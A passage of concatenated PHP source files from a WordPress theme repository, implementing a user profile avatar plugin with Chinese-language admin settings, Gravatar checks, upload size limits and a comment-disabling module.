* Ensures only one instance of WP User Profile Avatar is loaded or can be loaded.
*
* @since 1.0
* @static
* @see WP_User_Profile_Avatar()
* @return self Main instance.
*/
public static function instance() {
if (is_null(self::$_instance)) {
self::$_instance = new self();
}
return self::$_instance;
}
/**
* Constructor - get the plugin hooked in and ready
*/
public function __construct() {
// Define constants
define('WPUPA_VERSION', '1.0');
define('WPUPA_PLUGIN_DIR', untrailingslashit(plugin_dir_path(__FILE__)));
define('WPUPA_PLUGIN_URL', untrailingslashit(plugins_url(basename(plugin_dir_path(__FILE__)), basename(__FILE__))));
//Includes
include( 'includes/wp-user-profile-avatar-install.php' );
include( 'includes/wp-user-profile-avatar-user.php' );
include( 'wp-user-profile-avatar-functions.php' );
include_once( 'templates/wp-username-change.php' );
// include_once( 'disable-comments.php' );
// include_once( 'templates/wp-author-box-social-info.php' );
include_once( 'templates/wp-add-new-avatar.php' );
include_once( 'templates/wp-avatar-social profile-picture.php' );
//shortcodes
// include( 'shortcodes/wp-user-profile-avatar-shortcodes.php' );
// include( 'shortcodes/wp-user-display.php' );
// include( 'shortcodes/wp-author-social-info-shortcodes.php' );
if (is_admin()) {
include( 'admin/wp-user-profile-avatar-admin.php' );
}
// Activation - works with symlinks
register_activation_hook(basename(dirname(__FILE__)) . '/' . basename(__FILE__), array($this, 'activate'));
// Actions
add_action('after_setup_theme', array($this, 'load_plugin_textdomain'));
add_action('wp_enqueue_scripts', array($this, 'frontend_scripts'));
add_action('admin_init', array($this, 'updater'));
}
/**
* activate function.
*
* @access public
* @param
* @return
* @since 1.0
*/
public function activate() {
WPUPA_Install::install();
}
/**
* updater function.
*
* @access public
* @param
* @return
* @since 1.0
*/
public function updater() {
if (version_compare(WPUPA_VERSION, get_option('wpupa_version'), '>')) {
WPUPA_Install::install();
flush_rewrite_rules();
}
}
/**
* load_plugin_textdomain function.
*
* @access public
* @param
* @return
* @since 1.0
*/
public function load_plugin_textdomain() {
$domain = 'wp-user-profile-avatar';
$locale = apply_filters('plugin_locale', get_locale(), $domain);
load_textdomain($domain, WP_LANG_DIR . "/wp-user-profile-avatar/" . $domain . "-" . $locale . ".mo");
load_plugin_textdomain($domain, false, dirname(plugin_basename(__FILE__)) . '/languages/');
}
/**
* frontend_scripts function.
*
* @access public
* @param
* @return
* @since 1.0
*/
public function frontend_scripts() {
wp_enqueue_media();
wp_enqueue_style('wp-user-profile-avatar-frontend', i_static().'/admin/avatar/css/frontend.min.css');
wp_register_script('wp-user-profile-avatar-frontend-avatar', i_static().'/admin/avatar/js/frontend-avatar.min.js', array('jquery'), WPUPA_VERSION, true);
wp_localize_script('wp-user-profile-avatar-frontend-avatar', 'wp_user_profile_avatar_frontend_avatar', array(
'ajax_url' => admin_url('admin-ajax.php'),
'wp_user_profile_avatar_security' => wp_create_nonce("_nonce_user_profile_avatar_security"),
'media_box_title' => __('选择', 'wp-user-profile-avatar'),
'default_avatar' => i_static().'/admin/avatar/images/wp-user-thumbnail.png',
)
);
}
}
/**
* add_plugin_page_wp_user_profile_avatar_settings_link function.
* Create link on plugin page for wp user profile avatar plugin settings
* @access public
* @param
* @return
* @since 1.0
*/
function add_plugin_page_wp_user_profile_avatar_settings_link($links) {
$links[] = '<a href="' . admin_url('users.php?page=wp-user-profile-avatar-settings') . '">' . __('Settings', 'wp-user-profile-avatar') . '</a>';
return $links;
}
add_filter('plugin_action_links_' . plugin_basename(__FILE__), 'add_plugin_page_wp_user_profile_avatar_settings_link');
/**
* Main instance of WP User Profile Avatar.
*
* Returns the main instance of WP User Profile Avatar to prevent the need to use globals.
*
* @since 1.0
* @return WP_User_Profile_Avatar
*/
function WPUPA() { // phpcs:ignore WordPress.NamingConventions.ValidFunctionName
return WP_User_Profile_Avatar::instance();
}
$GLOBALS['WP_User_Profile_Avatar'] = WPUPA();
| php | MIT | e434c2131c7faf29aa79a2553cca35e55d56dcca | 2026-01-05T05:14:50.586486Z | false |
kannafay/iFalse | https://github.com/kannafay/iFalse/blob/e434c2131c7faf29aa79a2553cca35e55d56dcca/admin/avatar/disable-comments.php | admin/avatar/disable-comments.php | <?php
add_action('admin_menu', 'comments_settings_menu');
add_action('admin_menu', 'comments_tools_menu');
function comments_settings_menu() {
add_submenu_page('options-general.php', 'Disable Comments', 'Disable Comments', 'manage_options', 'disable_comments_settings', 'comments_settings_page');
}
function comments_settings_page() {
include dirname(__FILE__) . '/templates/comments-settings-page.php';
}
function comments_tools_menu() {
add_submenu_page('tools.php', 'Delete Comments', 'Delete Comments', 'manage_options', 'disable_comments_tools', 'comments_tools_page');
}
function comments_tools_page() {
include dirname(__FILE__) . '/templates/comments-tools-page.php';
}
add_action('init', 'init_filters');
function init_filters() {
$options = get_option('disable_comments_options', false);
if (is_array($options) && isset($options['remove_everywhere'])) {
add_action('template_redirect', 'filter_admin_bar');
add_action('admin_init', 'filter_admin_bar');
}
add_action('wp_loaded', 'init_wploaded_filters');
}
function init_wploaded_filters() {
$options = get_option('disable_comments_options', array());
$modified_types = array();
$disabled_post_types = get_disabled_post_types();
if (!empty($disabled_post_types)) {
foreach ($disabled_post_types as $type) {
if (post_type_supports($type, 'comments')) {
$modified_types[] = $type;
remove_post_type_support($type, 'comments');
remove_post_type_support($type, 'trackbacks');
}
}
}
// Filters for the admin only.
if (is_admin()) {
if (isset($options['remove_everywhere'])) {
add_action('admin_menu', 'filter_admin_menu');
}
}
// Filters for front end only.
else {
add_action('template_redirect', 'check_comment_template');
if (isset($options['remove_everywhere'])) {
add_filter('feed_links_show_comments_feed', '__return_false');
}
}
}
function discussion_settings_allowed() {
if (defined('DISABLE_COMMENTS_ALLOW_DISCUSSION_SETTINGS') && DISABLE_COMMENTS_ALLOW_DISCUSSION_SETTINGS == true) {
return true;
}
}
function filter_admin_menu() {
global $pagenow;
if ($pagenow == 'comment.php' || $pagenow == 'edit-comments.php') {
wp_die(__('Comments are closed.', 'disable-comments'), '', array('response' => 403));
}
remove_menu_page('edit-comments.php');
if (!discussion_settings_allowed()) {
if ($pagenow == 'options-discussion.php') {
wp_die(__('Comments are closed.', 'disable-comments'), '', array('response' => 403));
}
remove_submenu_page('options-general.php', 'options-discussion.php');
}
}
function is_post_type_disabled($type) {
return in_array($type, get_disabled_post_types());
}
/**
* Replace the theme's comment template with a blank one.
* To prevent this, define DISABLE_COMMENTS_REMOVE_COMMENTS_TEMPLATE
* and set it to True
*/
function check_comment_template() {
$options = get_option('disable_comments_options', array());
if (is_singular() && (isset($options['remove_everywhere']) || is_post_type_disabled(get_post_type()) )) {
if (!defined('DISABLE_COMMENTS_REMOVE_COMMENTS_TEMPLATE') || DISABLE_COMMENTS_REMOVE_COMMENTS_TEMPLATE == true) {
// Kill the comments template.
add_filter('comments_template', 'dummy_comments_template');
}
// Remove comment-reply script for themes that include it indiscriminately.
wp_deregister_script('comment-reply');
}
}
function dummy_comments_template() {
return dirname(__FILE__) . '/templates/comments-template.php';
}
/**
* Remove comment links from the admin bar.
*/
function filter_admin_bar() {
if (is_admin_bar_showing()) {
// Remove comments links from admin bar.
remove_action('admin_bar_menu', 'wp_admin_bar_comments_menu', 60);
if (is_multisite()) {
add_action('admin_bar_menu', 'remove_network_comment_links', 500);
}
}
}
/**
* Get an array of disabled post type.
*/
function get_disabled_post_types() {
$options = get_option('disable_comments_options', false);
$types = isset($options['disabled_post_types']) ? $options['disabled_post_types'] : '';
// Not all extra_post_types might be registered on this particular site.
if (is_array($options) && isset($options['extra_post_types']))
foreach ($options['extra_post_types'] as $extra) {
if (post_type_exists($extra)) {
$types[] = $extra;
}
}
if (!is_array($types)) {
$types = [];
}
return $types;
}
?> | php | MIT | e434c2131c7faf29aa79a2553cca35e55d56dcca | 2026-01-05T05:14:50.586486Z | false |
kannafay/iFalse | https://github.com/kannafay/iFalse/blob/e434c2131c7faf29aa79a2553cca35e55d56dcca/admin/avatar/wp-user-profile-avatar-functions.php | admin/avatar/wp-user-profile-avatar-functions.php | <?php
if (!function_exists('get_wpupa_rating')) {
/**
* get_wpupa_rating function.
*
* @access public
* @param
* @return array
* @since 1.0
*/
function get_wpupa_rating() {
return apply_filters('wp_user_avatar_rating', array(
'G' => __('G — 适合任何年龄的访客查看', 'wp-user-profile-avatar'),
'PG' => __('PG — 可能有争议的头像,只适合13岁以上读者查看', 'wp-user-profile-avatar'),
'R' => __('R — 成人级,只适合17岁以上成人查看', 'wp-user-profile-avatar'),
'X' => __('X — 最高等级,不适合大多数人查看', 'wp-user-profile-avatar')
));
}
}
if (!function_exists('get_wpupa_file_size')) {
/**
* get_wpupa_file_size function.
*
* @access public
* @param
* @return array
* @since 1.0
*/
function get_wpupa_file_size() {
return apply_filters('wp_user_avatar_file_size', array(
'1' => __('1MB', 'wp-user-profile-avatar'),
'2' => __('2MB', 'wp-user-profile-avatar'),
'4' => __('4MB', 'wp-user-profile-avatar'),
'8' => __('8MB', 'wp-user-profile-avatar'),
'16' => __('16MB', 'wp-user-profile-avatar'),
'32' => __('32MB', 'wp-user-profile-avatar'),
'64' => __('64MB', 'wp-user-profile-avatar'),
'128' => __('128MB', 'wp-user-profile-avatar'),
'256' => __('256MB', 'wp-user-profile-avatar'),
'512' => __('512MB', 'wp-user-profile-avatar'),
'1024' => __('1024MB', 'wp-user-profile-avatar')
));
}
}
if (!function_exists('get_wpupa_default_avatar')) {
/**
* get_wpupa_default_avatar function.
*
* @access public
* @param
* @return array
* @since 1.0
*/
function get_wpupa_default_avatar() {
return apply_filters('wp_user_default_avatar', array(
'mystery' => __('系统默认', 'wp-user-profile-avatar'),
// 'blank' => __('Blank', 'wp-user-profile-avatar'),
// 'gravatar_default' => __('Gravatar Logo', 'wp-user-profile-avatar'),
// 'identicon' => __('Identicon (Generated)', 'wp-user-profile-avatar'),
// 'wavatar' => __('Wavatar (Generated)', 'wp-user-profile-avatar'),
// 'monsterid' => __('MonsterID (Generated)', 'wp-user-profile-avatar'),
// 'retro' => __('Retro (Generated)', 'wp-user-profile-avatar')
));
}
}
if (!function_exists('get_wpupa_default_avatar_url')) {
/**
* get_wpupa_default_avatar_url function.
*
* @access public
* @param $args
* @return string
* @since 1.0
*/
function get_wpupa_default_avatar_url($args = []) {
$size = !empty($args['size']) ? $args['size'] : 'thumbnail';
$user_id = !empty($args['user_id']) ? $args['user_id'] : '';
$wpupa_default = get_option('wpupa_default');
/*
if($size == 'admin')
{
$wpupa_default = '';
}
*/
if ($wpupa_default == 'wp_user_profile_avatar' || $size == 'admin') {
$attachment_id = get_option('wpupa_attachment_id');
if (!empty($attachment_id)) {
$image_attributes = wp_get_attachment_image_src($attachment_id, $size);
if (!empty($image_attributes)) {
return $image_attributes[0];
} else {
return i_static().'/admin/avatar/images/wp-user-' . $size . '.png';
}
} else {
return i_static().'/admin/avatar/images/wp-user-' . $size . '.png';
}
} else {
if (!empty($wpupa_default)) {
if ($size == 'admin') {
return i_static().'/admin/avatar/images/wp-user-' . $size . '.png';
} else if ($size == 'original') {
$size_no = 512;
} else if ($size == 'medium') {
$size_no = 150;
} else if ($size == 'thumbnail') {
$size_no = 150;
} else {
$size_no = 32;
}
$avatar = get_avatar('unknown@gravatar.com', $size_no, $wpupa_default);
preg_match('%<img.*?src=["\'](.*?)["\'].*?/>%i', $avatar, $matches);
if (!empty($matches[1])) {
return $matches[1] . 'forcedefault=1';
} else {
return i_static().'/admin/avatar/images/wp-user-' . $size . '.png';
}
} else {
return i_static().'/admin/avatar/images/wp-user-' . $size . '.png';
}
}
}
}
if (!function_exists('get_wpupa_url')) {
/**
* get_wpupa_url function.
*
* @access public
* @param $user_id, $args
* @return string
* @since 1.0
*/
function get_wpupa_url($user_id, $args = []) {
$size = !empty($args['size']) ? $args['size'] : 'thumbnail';
$wpupa_url = get_user_meta($user_id, '_wpupa_url', true);
$attachment_id = get_user_meta($user_id, '_wpupa_attachment_id', true);
$wpupa_default = get_user_meta($user_id, '_wpupa_default', true);
if (!empty($wpupa_url)) {
return $wpupa_url;
} else if (!empty($attachment_id)) {
$image_attributes = wp_get_attachment_image_src($attachment_id, $size);
if (!empty($image_attributes)) {
return $image_attributes[0];
} else {
return get_wpupa_default_avatar_url(['user_id' => $user_id, 'size' => $size]);
}
} else {
return get_wpupa_default_avatar_url(['user_id' => $user_id, 'size' => $size]);
}
}
}
if (!function_exists('check_wpupa_url')) {
/**
* check_wpupa_url function.
*
* @access public
* @param $user_id
* @return boolean
* @since 1.0
*/
function check_wpupa_url($user_id = '') {
$attachment_url = get_user_meta($user_id, '_wpupa_url', true);
$attachment_id = get_user_meta($user_id, '_wpupa_attachment_id', true);
$wpupa_default = get_user_meta($user_id, '_wpupa_default', true);
if (!empty($attachment_url) || !empty($attachment_id)) {
return true;
} else {
return false;
}
}
}
if (!function_exists('check_wpupa_gravatar')) {
/**
* check_wpupa_gravatar function.
*
* @access public
* @param $id_or_email, $check_gravatar, $user, $email
* @return boolean
* @since 1.0
*/
function check_wpupa_gravatar($id_or_email = "", $check_gravatar = 0, $user = "", $email = "") {
$wp_user_hash_gravatar = get_option('wp_user_hash_gravatar');
$wpupa_default = get_option('wpupa_default');
if (trim($wpupa_default) != 'wp_user_profile_avatar')
return true;
if (!is_object($id_or_email) && !empty($id_or_email)) {
// Find user by ID or e-mail address
$user = is_numeric($id_or_email) ? get_user_by('id', $id_or_email) : get_user_by('email', $id_or_email);
// Get registered user e-mail address
$email = !empty($user) ? $user->user_email : "";
}
if ($email == "") {
if (!is_numeric($id_or_email) and!is_object($id_or_email))
$email = $id_or_email;
elseif (!is_numeric($id_or_email) and is_object($id_or_email))
$email = $id_or_email->comment_author_email;
}
if ($email != "") {
$hash = md5(strtolower(trim($email)));
//check if gravatar exists for hashtag using options
if (is_array($wp_user_hash_gravatar)) {
if (array_key_exists($hash, $wp_user_hash_gravatar) and is_array($wp_user_hash_gravatar[$hash]) and array_key_exists(date('m-d-Y'), $wp_user_hash_gravatar[$hash])) {
return (bool) $wp_user_hash_gravatar[$hash][date('m-d-Y')];
}
}
//end
if (isset($_SERVER['HTTPS']) && ( 'on' == $_SERVER['HTTPS'] || 1 == $_SERVER['HTTPS'] ) || isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && 'https' == $_SERVER['HTTP_X_FORWARDED_PROTO']) {
$http = 'https';
} else {
$http = 'http';
}
$gravatar = $http . '://www.gravatar.com/avatar/' . $hash . '?d=404';
$data = wp_cache_get($hash);
if (false === $data) {
$response = wp_remote_head($gravatar);
$data = is_wp_error($response) ? 'not200' : $response['response']['code'];
wp_cache_set($hash, $data, $group = "", $expire = 60 * 5);
//here set if hashtag has avatar
$check_gravatar = ($data == '200') ? true : false;
if ($wp_user_hash_gravatar == false) {
$wp_user_hash_gravatar[$hash][date('m-d-Y')] = (bool) $check_gravatar;
add_option('wp_user_hash_gravatar', serialize($wp_user_hash_gravatar));
} else {
if (is_array($wp_user_hash_gravatar) && !empty($wp_user_hash_gravatar)) {
if (array_key_exists($hash, $wp_user_hash_gravatar)) {
unset($wp_user_hash_gravatar[$hash]);
$wp_user_hash_gravatar[$hash][date('m-d-Y')] = (bool) $check_gravatar;
update_option('wp_user_hash_gravatar', serialize($wp_user_hash_gravatar));
} else {
$wp_user_hash_gravatar[$hash][date('m-d-Y')] = (bool) $check_gravatar;
update_option('wp_user_hash_gravatar', serialize($wp_user_hash_gravatar));
}
}
}
//end
}
$check_gravatar = ($data == '200') ? true : false;
} else
$check_gravatar = false;
// Check if Gravatar image returns 200 (OK) or 404 (Not Found)
return (bool) $check_gravatar;
}
}
if (!function_exists('get_wpupa_image_size')) {
/**
* get_wpupa_image_size function.
*
* @access public
* @param
* @return array
* @since 1.0
*/
function get_wpupa_image_sizes() {
return apply_filters('wp_image_sizes', array(
'original' => __('Original', 'wp-user-profile-avatar'),
'large' => __('Large', 'wp-user-profile-avatar'),
'medium' => __('Medium', 'wp-user-profile-avatar'),
'thumbnail' => __('Thumbnail', 'wp-user-profile-avatar'),
));
}
}
if (!function_exists('get_wpupa_image_alignment')) {
/**
* get_wpupa_image_alignment function.
*
* @access public
* @param
* @return array
* @since 1.0
*/
function get_wpupa_image_alignment() {
return apply_filters('wp_image_alignment', array(
'aligncenter' => __('Center', 'wp-user-profile-avatar'),
'alignleft' => __('Left', 'wp-user-profile-avatar'),
'alignright' => __('Right', 'wp-user-profile-avatar'),
));
}
}
if (!function_exists('get_wpupa_image_link_to')) {
/**
* get_wpupa_image_link_to function.
*
* @access public
* @param
* @return array
* @since 1.0
*/
function get_wpupa_image_link_to() {
return apply_filters('wp_image_link_to', array(
'image' => __('Image File', 'wp-user-profile-avatar'),
'attachment' => __('Attachment Page', 'wp-user-profile-avatar'),
'custom' => __('Custom URL', 'wp-user-profile-avatar'),
));
}
}
// Restrict access to Media Library (users can only see/select own media)
if (!function_exists('wpb_show_current_user_attachments')) {
add_filter('ajax_query_attachments_args', 'wpb_show_current_user_attachments');
/**
* wpb_show_current_user_attachments function.
*
*
* @access public
* @param
* @return array
* @since 1.0
*/
function wpb_show_current_user_attachments($query) {
$user_id = get_current_user_id();
if ($user_id) {
$query['author'] = $user_id;
$query['subscriber'] = $user_id;
$query['contributor'] = $user_id;
$query['editor'] = $user_id;
}
return $query;
}
}
if (!function_exists('wpupa_file_size_limit')) {
/**
* wpupa_file_size_limit function.
*
* Limit upload size for non-admins. Admins get the default limit
*
* @access public
* @param
* @return array
* @since 1.0
*/
function wpupa_file_size_limit($limit) {
if (!current_user_can('manage_options')) {
$wpupa_file_size = get_option('wpupa_file_size');
$limit = $wpupa_file_size * 1048576;
}
return $limit;
}
add_filter('upload_size_limit', 'wpupa_file_size_limit');
} | php | MIT | e434c2131c7faf29aa79a2553cca35e55d56dcca | 2026-01-05T05:14:50.586486Z | false |
kannafay/iFalse | https://github.com/kannafay/iFalse/blob/e434c2131c7faf29aa79a2553cca35e55d56dcca/admin/avatar/admin/wp-user-profile-avatar-settings.php | admin/avatar/admin/wp-user-profile-avatar-settings.php | <?php
// Exit if accessed directly
if (!defined('ABSPATH')) {
exit;
}
/**
* WPUPA_Settings class.
*/
class WPUPA_Settings {
/**
* Constructor - get the plugin hooked in and ready
*/
public function __construct() {
add_action('wp_loaded', array($this, 'edit_handler'));
}
/**
* settings function.
*
* @access public
* @param
* @return
* @since 1.0
*/
public function settings() {
wp_enqueue_media();
wp_enqueue_style('wp-user-profile-avatar-backend');
wp_enqueue_script('wp-user-profile-avatar-admin-avatar');
//options
$wpupa_tinymce = get_option('wpupa_tinymce');
$wpupa_allow_upload = get_option('wpupa_allow_upload');
$wpupa_disable_gravatar = get_option('wpupa_disable_gravatar');
$wpupa_show_avatars = get_option('wpupa_show_avatars');
$wpupa_rating = get_option('wpupa_rating');
$wpupa_file_size = get_option('wpupa_file_size');
$wpupa_default = get_option('wpupa_default');
$wpupa_attachment_id = get_option('wpupa_attachment_id');
$wpupa_attachment_url = get_wpupa_default_avatar_url(['size' => 'admin']);
$wpupa_size = get_option('wpupa_size');
?>
<div class="wrap">
<h2><?php _e('用户头像设置', 'wp-user-profile-avatar'); ?></h2>
<table>
<tr valign="top">
<td>
<form method="post" action="<?php echo admin_url('users.php') . '?page=wp-user-profile-avatar-settings'; ?>">
<table class="form-table">
<tr valign="top">
<th scope="row"><?php _e('头像', 'wp-user-profile-avatar'); ?></th>
<td>
<fieldset>
<label for="wpupa_show_avatars">
<input name="wpupa_show_avatars" type="checkbox" id="wpupa_show_avatars" value="1" <?php echo checked($wpupa_show_avatars, 1, 0); ?> > <?php _e('显示头像', 'wp-user-profile-avatar'); ?>
</label>
<p class="description"><?php _e('如果不勾选,则不会显示用户头像。(想拥有良好的体验请务必勾选)', 'wp-user-profile-avatar'); ?></p>
</fieldset>
</td>
</tr>
<tr valign="top">
<th scope="row"><?php _e('设置', 'wp-user-profile-avatar'); ?></th>
<td>
<!-- <fieldset>
<label for="wpupa_tinymce">
<input name="wpupa_tinymce" type="checkbox" id="wpupa_tinymce" value="1" <?php echo checked($wpupa_tinymce, 1, 0); ?> > <?php _e('Add shortcode avatar button to Visual Editor', 'wp-user-profile-avatar'); ?>
</label>
</fieldset> -->
<fieldset>
<label for="wpupa_allow_upload">
<input name="wpupa_allow_upload" type="checkbox" id="wpupa_allow_upload" value="1"<?php echo checked($wpupa_allow_upload, 1, 0); ?> > <?php _e('允许订阅者和贡献者上传头像', 'wp-user-profile-avatar'); ?>
</label>
</fieldset>
<fieldset>
<label for="wpupa_disable_gravatar" style="color:red;font-weight:700">
<input name="wpupa_disable_gravatar" type="checkbox" id="wpupa_disable_gravatar" value="1"<?php echo checked($wpupa_disable_gravatar, 1, 0); ?> > <?php _e('使用自定义头像时务必勾选(否则造成网站卡顿)', 'wp-user-profile-avatar'); ?>
</label>
</fieldset>
</td>
</tr>
<tr valign="top">
<th scope="row"><?php _e('头像等级', 'wp-user-profile-avatar'); ?></th>
<td>
<fieldset>
<legend class="screen-reader-text"><?php _e('头像等级', 'wp-user-profile-avatar'); ?></legend>
<?php foreach (get_wpupa_rating() as $name => $rating) : ?>
<?php $selected = ($wpupa_rating == $name) ? 'checked="checked"' : ""; ?>
<label><input type="radio" name="wpupa_rating" value="<?php echo esc_attr($name); ?>" <?php echo $selected; ?> /> <?php echo $rating; ?></label><br />
<?php endforeach; ?>
</fieldset>
</td>
</tr>
<tr>
<th scope="row">
<label for="wpupa_file_size">限制文件上传大小(包括媒体)</label>
</th>
<td>
<select id="wpupa_file_size" name="wpupa_file_size">
<?php foreach (get_wpupa_file_size() as $name => $size) { ?>
<?php $selected = ($wpupa_file_size == $name) ? 'selected="selected"' : ""; ?>
<option value="<?php echo esc_attr($name); ?>" <?php echo $selected; ?> ><?php echo esc_attr($name == 1024 ? '1GB' : $size ); ?></option>
<?php } ?>
</select>
</td>
</tr>
<tr>
<th><label for="wpupa_size"><?php _e("头像尺寸"); ?></label></th>
<?php
if ($wpupa_size == '') {
$wpupa_size = get_avatar_data(get_current_user_id())['size'];
}
?>
<td>
<input type="number" name="wpupa_size" id="wpupa_size" value="<?php echo esc_attr($wpupa_size); ?>" />
</td>
</tr>
<tr valign="top">
<th scope="row"><?php _e('默认头像', 'wp-user-profile-avatar'); ?></th>
<td class="defaultavatarpicker">
<fieldset>
<legend class="screen-reader-text"><?php _e('默认头像', 'wp-user-profile-avatar'); ?></legend>
<?php _e('未使用自定义头像时,用户头像将使用默认或根据邮箱自动获取,如QQ邮箱将自动获取QQ头像。', 'wp-user-profile-avatar'); ?><br />
<?php $selected = ($wpupa_default == 'wp_user_profile_avatar') ? 'checked="checked"' : ""; ?>
<label>
<input type="radio" name="wpupa_default" id="wp_user_profile_avatar_radio" value="wp_user_profile_avatar" <?php echo $selected; ?> /> <div id="wp_user_profile_avatar_preview"><img src="<?php echo $wpupa_attachment_url; ?>" width="32" /></div> <?php _e('自定义'); ?>
<?php
$class_hide = 'wp-user-profile-avatar-hide';
if (!empty($wpupa_attachment_id)) {
$class_hide = '';
}
?>
<span id="wp-user-profile-avatar-edit" style="margin-left:10px">
<button type="button" class="button" id="wp_user_profile_avatar_add" name="wp_user_profile_avatar_add"><?php _e('选择图片'); ?></button>
<span id="wp_user_profile_avatar_remove_button" class="<?php echo $class_hide; ?>"><a href="javascript:void(0)" id="wp_user_profile_avatar_remove"><?php _e('移除'); ?></a></span>
<span id="wp_user_profile_avatar_undo_button"><a href="javascript:void(0)" id="wp_user_profile_avatar_undo"><?php _e('撤销'); ?></a></span>
<input type="hidden" name="wpupa_attachment_id" id="wpupa_attachment_id" value="<?php echo $wpupa_attachment_id; ?>">
</span>
</label><br />
<style>
.defaultavatarpicker img {
border-radius: 4px;
}
</style>
<?php if (empty($wpupa_disable_gravatar)) : ?>
<?php foreach (get_wpupa_default_avatar() as $name => $label) : ?>
<?php $avatar = get_avatar('unknown@gravatar.com', 32, $name); ?>
<?php $selected = ($wpupa_default == $name) ? 'checked="checked"' : ""; ?>
<label><input type="radio" name="wpupa_default" value="<?php echo esc_attr($name); ?>" <?php echo $selected; ?> />
<?php echo preg_replace("/src='(.+?)'/", "src='\$1&forcedefault=1'", $avatar); ?>
<?php echo $label; ?></label><br />
<?php endforeach; ?>
<?php endif; ?>
</fieldset>
</td>
</tr>
<tr>
<td>
<input type="submit" class="button button-primary" name="wp_user_profile_avatar_settings" value="<?php esc_attr_e('保存更改', 'wp-user-profile-avatar'); ?>" />
</td>
<td>
<?php wp_nonce_field('user_profile_avatar_settings'); ?>
</td>
</tr>
</table>
</form>
</td>
</tr>
</table>
</div>
<?php
}
/**
* edit_handler function.
*
* @access public
* @param
* @return
* @since 1.0
*/
public function edit_handler() {
if (!empty($_POST['wp_user_profile_avatar_settings']) && wp_verify_nonce($_POST['_wpnonce'], 'user_profile_avatar_settings')) {
$user_id = get_current_user_id();
$wpupa_show_avatars = !empty($_POST['wpupa_show_avatars']) ? sanitize_text_field($_POST['wpupa_show_avatars']) : '';
$wpupa_tinymce = !empty($_POST['wpupa_tinymce']) ? sanitize_text_field($_POST['wpupa_tinymce']) : '';
$wpupa_allow_upload = !empty($_POST['wpupa_allow_upload']) ? sanitize_text_field($_POST['wpupa_allow_upload']) : '';
$wpupa_disable_gravatar = !empty($_POST['wpupa_disable_gravatar']) ? sanitize_text_field($_POST['wpupa_disable_gravatar']) : '';
$wpupa_rating = !empty($_POST['wpupa_rating']) ? sanitize_text_field($_POST['wpupa_rating']) : '';
$wpupa_file_size = !empty($_POST['wpupa_file_size']) ? sanitize_text_field($_POST['wpupa_file_size']) : '';
$wpupa_default = !empty($_POST['wpupa_default']) ? sanitize_text_field($_POST['wpupa_default']) : '';
$wpupa_attachment_id = !empty($_POST['wpupa_attachment_id']) ? sanitize_text_field($_POST['wpupa_attachment_id']) : '';
$wpupa_size = !empty($_POST['wpupa_size']) ? sanitize_text_field($_POST['wpupa_size']) : '';
if ($wpupa_show_avatars == '') {
$wpupa_tinymce = '';
$wpupa_allow_upload = '';
$wpupa_disable_gravatar = '';
}
if ($wpupa_disable_gravatar) {
$wpupa_default = 'wp_user_profile_avatar';
}
// options
update_option('wpupa_tinymce', $wpupa_tinymce);
update_option('wpupa_allow_upload', $wpupa_allow_upload);
update_option('wpupa_disable_gravatar', $wpupa_disable_gravatar);
update_option('wpupa_show_avatars', $wpupa_show_avatars);
update_option('wpupa_rating', $wpupa_rating);
update_option('wpupa_file_size', $wpupa_file_size);
update_option('wpupa_default', $wpupa_default);
update_option('wpupa_attachment_id', $wpupa_attachment_id);
update_option('wpupa_size', $wpupa_size);
}
}
}
new WPUPA_Settings();
| php | MIT | e434c2131c7faf29aa79a2553cca35e55d56dcca | 2026-01-05T05:14:50.586486Z | false |
kannafay/iFalse | https://github.com/kannafay/iFalse/blob/e434c2131c7faf29aa79a2553cca35e55d56dcca/admin/avatar/admin/wp-user-profile-avatar-admin.php | admin/avatar/admin/wp-user-profile-avatar-admin.php | <?php
// Exit if accessed directly
if (!defined('ABSPATH')) {
exit;
}
/**
* WPUPA_Admin class.
*/
class WPUPA_Admin {
/**
* Constructor - get the plugin hooked in and ready
*/
public function __construct() {
include_once( 'wp-user-profile-avatar-settings.php' );
$this->settings_page = new WPUPA_Settings();
$wpupa_tinymce = get_option('wpupa_tinymce');
if ($wpupa_tinymce) {
add_action('init', array($this, 'wpupa_add_buttons'));
}
add_action('admin_menu', array($this, 'admin_menu'), 12);
add_action('admin_enqueue_scripts', array($this, 'admin_enqueue_scripts'));
add_action('show_user_profile', array($this, 'wpupa_add_fields'));
add_action('edit_user_profile', array($this, 'wpupa_add_fields'));
add_action('personal_options_update', array($this, 'wpupa_save_fields'));
add_action('edit_user_profile_update', array($this, 'wpupa_save_fields'));
add_action('admin_init', array($this, 'allow_contributor_subscriber_uploads'));
add_action('init', array($this, 'thickbox_model_init'));
add_action('wp_ajax_thickbox_model_view', array($this, 'thickbox_model_view'));
add_action('wp_ajax_nopriv_thickbox_model_view', array($this, 'thickbox_model_view'));
}
/**
* admin_menu function.
*
* @access public
* @param
* @return
* @since 1.0
*/
public function admin_menu() {
add_submenu_page('users.php', __('用户头像设置', 'wp-user-profile-avatar'), __('用户头像设置', 'wp-user-profile-avatar'), 'manage_options', 'wp-user-profile-avatar-settings', array($this->settings_page, 'settings'));
}
/**
* admin_enqueue_scripts function.
*
* @access public
* @param
* @return
* @since 1.0
*/
public function admin_enqueue_scripts() {
wp_register_style('wp-user-profile-avatar-backend', i_static().'/admin/avatar/css/backend.min.css');
wp_register_script('wp-user-profile-avatar-admin-avatar', i_static().'/admin/avatar/js/admin-avatar.min.js', array('jquery'), WPUPA_VERSION, true);
wp_localize_script('wp-user-profile-avatar-admin-avatar', 'wp_user_profile_avatar_admin_avatar', array(
'thinkbox_ajax_url' => admin_url('admin-ajax.php') . '?height=600&width=770&action=thickbox_model_view',
'thinkbox_title' => __('WP User Profile Avatar', 'wp-user-profile-avatar'),
'icon_title' => __('WP User Profile Avatar', 'wp-user-profile-avatar'),
'wp_user_profile_avatar_security' => wp_create_nonce("_nonce_user_profile_avatar_security"),
'media_box_title' => __('选择一张图片作为头像', 'wp-user-profile-avatar'),
'default_avatar' => i_static().'/admin/avatar/images/wp-user-thumbnail.png',
)
);
wp_enqueue_style('wp-user-profile-avatar-backend');
wp_enqueue_script('wp-user-profile-avatar-admin-avatar');
}
/**
* wpupa_add_fields function.
*
* @access public
* @param $user
* @return
* @since 1.0
*/
public function wpupa_add_fields($user) {
wp_enqueue_media();
wp_enqueue_style('wp-user-profile-avatar-backend');
wp_enqueue_script('wp-user-profile-avatar-admin-avatar');
$user_id = get_current_user_id();
$wpupa_original = get_wpupa_url($user_id, ['size' => 'original']);
$wpupa_thumbnail = get_wpupa_url($user_id, ['size' => 'thumbnail']);
$wpupa_attachment_id = get_user_meta($user_id, '_wpupa_attachment_id', true);
